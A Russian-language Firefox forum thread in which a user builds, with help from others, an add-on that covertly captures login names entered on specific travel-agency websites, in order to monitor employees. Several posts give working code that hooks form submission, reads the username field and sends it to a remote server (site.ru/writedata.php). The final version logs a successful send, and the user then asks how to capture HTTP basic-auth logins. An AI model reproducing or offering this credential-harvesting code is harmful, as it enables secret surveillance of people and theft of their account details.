Полезная информация

Хотите узнать больше о расширениях? Посмотрите ролики, рассказывающие о работе с расширениями Firefox.
  • Форумы
  •  » Разработка
  •  » Разработка расширения для перехвата логинов на заданных сайтах

№124-04-2014 10:03:31

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Разработка расширения для перехвата логинов на заданных сайтах

Думаю этот проектик станет чем-то вроде "Hello world!" для меня в создании расширений для FF.

Зачем? Нужно проверить некоторых сотрудников не работают ли они на лево, с левых учеток. Килогеры посмотрел готовые для ФФ, рабочий только один оказался, но он не помогает когда чел не вводит, а вставляет логин из буфера.


https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started
успешно выполнил.

Сейчас вижу задачу так:
1. Получаем адресную строку активной вкладки.
2. Если адрес нас интересует, искать соответствующее поле на странице (поле для ввода логина)
3. По изменению (или submit) сохранять данные на диске
YYYY-MM-DD H:i:s -- site_address -- entered_login

Вопросы:
1. Как получить адресную строку активной вкладки (onFocus) ?
2. Как найти поле на странице на вкладке (element.getByID()) ?
3. Писать данные в файл можно стандартными средствами JS ?

Отредактировано thunderamur (24-04-2014 10:52:36)

Отсутствует

 

№224-04-2014 10:52:44

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

1. Почитал инфу по вкладкам, получилось вот что:

Выделить код

Код:

var tabs = require("sdk/tabs");

function show(tab) {
    if (tab.url.indexOf("ya.ru") == -1) {
        console.log(tab.url + " is not ya.ru");
    }else{
        console.log(tab.url + " is ya.ru");
    }
}

tabs.on('pageshow', show);

Это можно заюзать для определения на каком мы сайте и нужно ли логировать.

Отредактировано thunderamur (24-04-2014 11:00:46)

Отсутствует

 

№324-04-2014 11:40:17

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Товарищи, как получить данные со страницу по определенному событию?
Пока не понял как это сделать...

Отсутствует

 

№424-04-2014 12:06:56

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Первое о чем я подумал - это прокси (и она уже имеется), но как она мне поможет с https?

Поставим один браузер, другое ставить запретим.
Надо учитывать уровень пользователя. Конечно, можно и с флешки загрузится и работать через свою прокси по защищенному ВПН. Но, это не мой случай, у меня пользователи попроще.

Отсутствует

 

№525-04-2014 12:59:41

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

okkamas_knife
Я использую squid, пока не нашел как поймать логин. Ты, случаем не знаешь, кальмар это в принципе логирует?

Отсутствует

 

№625-04-2014 17:03:51

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

okkamas_knife
http://www.eu.squid-cache.org/mail-archive/squid-users/200602/0024.html
тут сообщается, что максимум, что мы можем получить, это тело GET-запросов. Не подоходит в моем случае.

Может лучше покажешь пример по сабжу, где можно посмотреть как работать со страницей на вкладке?

Отсутствует

 

№728-04-2014 03:15:52

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

В справочнике на MDN примеры для 29+
Странная политика. А как под текущие версии расширения то делать, ппц.

Отсутствует

 

№828-04-2014 04:27:56

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Как залезть на страницу нашел...

Отсутствует

 

№928-04-2014 05:51:20

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Разобрался. Сделал так, что данные улетают на удаленный сервер, где логируются.

Отредактировано thunderamur (28-04-2014 09:28:38)

Отсутствует

 

№1028-04-2014 10:00:03

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Странная штука, не везде работает.

скрытый текст
main.js

Выделить код

Код:

var data = require("sdk/self").data;
var pageMod = require("sdk/page-mod");

pageMod.PageMod({
  include: "*.mouzenidis-travel.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("mouzenidis-travel.ru.js")]
});

pageMod.PageMod({
  include: "*.pegast.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("pegast.ru.js")]
});

data/mouzenidis-travel.ru.js

Выделить код

Код:

$("form").submit(function(){
    alert($("#UserName").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"mouzenidis-travel.ru",
                login   :$("#UserName").val(),
                secret  :""   }
    })
});

data/pegast.ru.js

Выделить код

Код:

$("form").submit(function(){
    alert($("#username").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"pegast.ru",
                login   :$("#username").val(),
                secret  :""   }
    })
});


Во всех случаях submit отрабатывает, о чем свидетельствует alert(). Но в случае с pegast.ru, данные не попадают на удаленный сервер.

Отредактировано thunderamur (28-04-2014 10:00:41)

Отсутствует

 

№1128-04-2014 14:12:48

Пандёнок
Участник
 
Группа: Extensions
Зарегистрирован: 04-11-2008
Сообщений: 5543
UA: Chrome 34.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

thunderamur
Советую спросить у Infocatcher.
А я бы поставил шпионскую программу и не мучился бы. Потому что на месте того сотрудника я бы ходил налево через портабельный фокс, чтобы не оставлять следов в журнале и всё такое. Приватный режим — это не то, чем удобно пользоваться.

Отсутствует

 

№1230-04-2014 03:59:47

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Infocatcher молчит :(
Шпионская программа умеет собирать данные с нужных страниц? Да ещё и покупать надо.
А здесь свой теплый ламповый самопал. Это интереснее, потом есть мысли сделать штуку поприкольнее, но там уже мессенджер для платной CRM, родной месенджер которой ущербен.

Отсутствует

 

№1301-05-2014 14:29:20

Infocatcher
Not found
 
Группа: Extensions
Зарегистрирован: 24-05-2007
Сообщений: 4339
UA: Firefox 28.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Два дня – это еще не молчит, это раз. У меня сейчас полно других дел, это два.

Если проблема исключительно в отправке данных (а сами данные получаются), то или какие-то проблемы с использованием в данном случае $.ajax() (к чему здесь вообще jQuery?), или дело в том, что скрипт выполняется на странице и выгружается вместе с ней до отправки данных.
Можно попробовать делать собственно отправку из другого места. Но я не пользуюсь Add-on SDK и ничего сказать не могу, разве что вот пример взаимодействия с родительским скриптом.

По самому сбору данных: сохранение паролей можно включить в Lazarus: Form Recovery.


Прошлое – это локомотив, который тянет за собой будущее. Бывает, что это прошлое вдобавок чужое. Ты едешь спиной вперед и видишь только то, что уже исчезло. А чтобы сойти с поезда, нужен билет. Ты держишь его в руках. Но кому ты его предъявишь?
Виктор Пелевин. Желтая стрела

Отсутствует

 

№1402-05-2014 19:55:39

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 29.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Infocatcher
Спасибо, что включился в беседу :)
Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.

Добавлено 02-05-2014 20:13:39
Не оно?
https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/content_symbiont

Отредактировано thunderamur (02-05-2014 20:13:39)

Отсутствует

 

№1506-05-2014 16:54:42

Infocatcher
Not found
 
Группа: Extensions
Зарегистрирован: 24-05-2007
Сообщений: 4339
UA: Firefox 29.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

thunderamur пишет

Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.

Там нужно посылать сообщения из content-скрипта в main.js:
https://developer.mozilla.org/en-US/Add … using_port
Для отправки данных, видимо, пользоваться вот этим:
https://developer.mozilla.org/en-US/Add … Is/net_xhr

Но я, повторюсь, с Add-on SDK не работал, исходники там обильные и мудреные, так что ничего кроме чтения документации посоветовать не могу.
Если без SDK, то на основе этого можно отслеживать "submit" (вместо "TabClose" как там) от всего окна браузера. А дальше обычный XMLHttpRequest(). Но если все-таки взлетит Electrolysis, подобное перестанет работать.


Прошлое – это локомотив, который тянет за собой будущее. Бывает, что это прошлое вдобавок чужое. Ты едешь спиной вперед и видишь только то, что уже исчезло. А чтобы сойти с поезда, нужен билет. Ты держишь его в руках. Но кому ты его предъявишь?
Виктор Пелевин. Желтая стрела

Отсутствует

 

№1607-05-2014 05:34:44

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 29.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Infocatcher
Спасибо за инфу :)
Посмотрю все варианты. Все-таки склоняюсь к SDK, т.к. это наверное более основательный вариант (restartless и совместимость на будущее). Но ежели не осилю для этой задачи можно и сделать лишь бы сейчас работало.

Отсутствует

 

№1708-05-2014 04:50:35

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 29.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Сейчас имею вот что:

Выделить код

Код:

pageMod.PageMod({
    include: "*.natalie-tours.ru",
    contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                        data.url("natalie-tours.ru.js")],
    onAttach: function(worker) {
        worker.port.on('mylogin', function(msg) {
            console.log("============== 1 - " + msg);
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("GET", "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", true);
            xmlhttp.onreadystatechange = function() {
                if (xmlhttp.readyState == 4) {
                    if(xmlhttp.status == 200) {
                        console.log(xmlhttp.responseText);
                    }
                }
            };
            xmlhttp.send(null);
            console.log("============== 2 - " + msg);
        });
    }
});

Консоль:

Выделить код

Код:

console.log: my-addon: ============== 1 - 123
console.error: my-addon: 
  Message: ReferenceError: XMLHttpRequest is not defined

Т.е. код отрабатывает до момента отправки и тут встает из-за того, что не знает что такое XMLHttpRequest.
Как же из браузера отправить данные на сервер?

Отредактировано thunderamur (08-05-2014 04:50:56)

Отсутствует

 

№1808-05-2014 05:29:02

thunderamur
Участник
 
Группа: Members
Зарегистрирован: 24-04-2014
Сообщений: 24
UA: Firefox 29.0

Re: Разработка расширения для перехвата логинов на заданных сайтах

Крутяк, получилось!

Выделить код

Код:

var Request = require("sdk/request").Request;

pageMod.PageMod({
    include: "*.natalie-tours.ru",
    contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                        data.url("natalie-tours.ru.js")],
    onAttach: function(worker) {
        worker.port.on('mylogin', function(msg) {
            console.log("============== 1 - " + msg);
            
            Request({
                url: "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=",
                onComplete: function (response) {
                    console.log("Data sent successfully!");
                }
            }).get();
            
            console.log("============== 2 - " + msg);
        });
    }
});
Выделить код

Код:

console.log: my-addon: ============== 1 - 32434
console.log: my-addon: ============== 2 - 32434
console.log: my-addon: Data sent successfully!

Теперь ещё один вопрос
Есть сайт с авторизацией через .htaccess, как мне получить логин с окна авторизации?

Отредактировано thunderamur (08-05-2014 05:30:31)

Отсутствует

 
  • Форумы
  •  » Разработка
  •  » Разработка расширения для перехвата логинов на заданных сайтах

Board footer

Powered by PunBB
Modified by Mozilla Russia
Copyright © 2004–2020 Mozilla Russia GitHub mark
Язык отображения форума: [Русский] [English]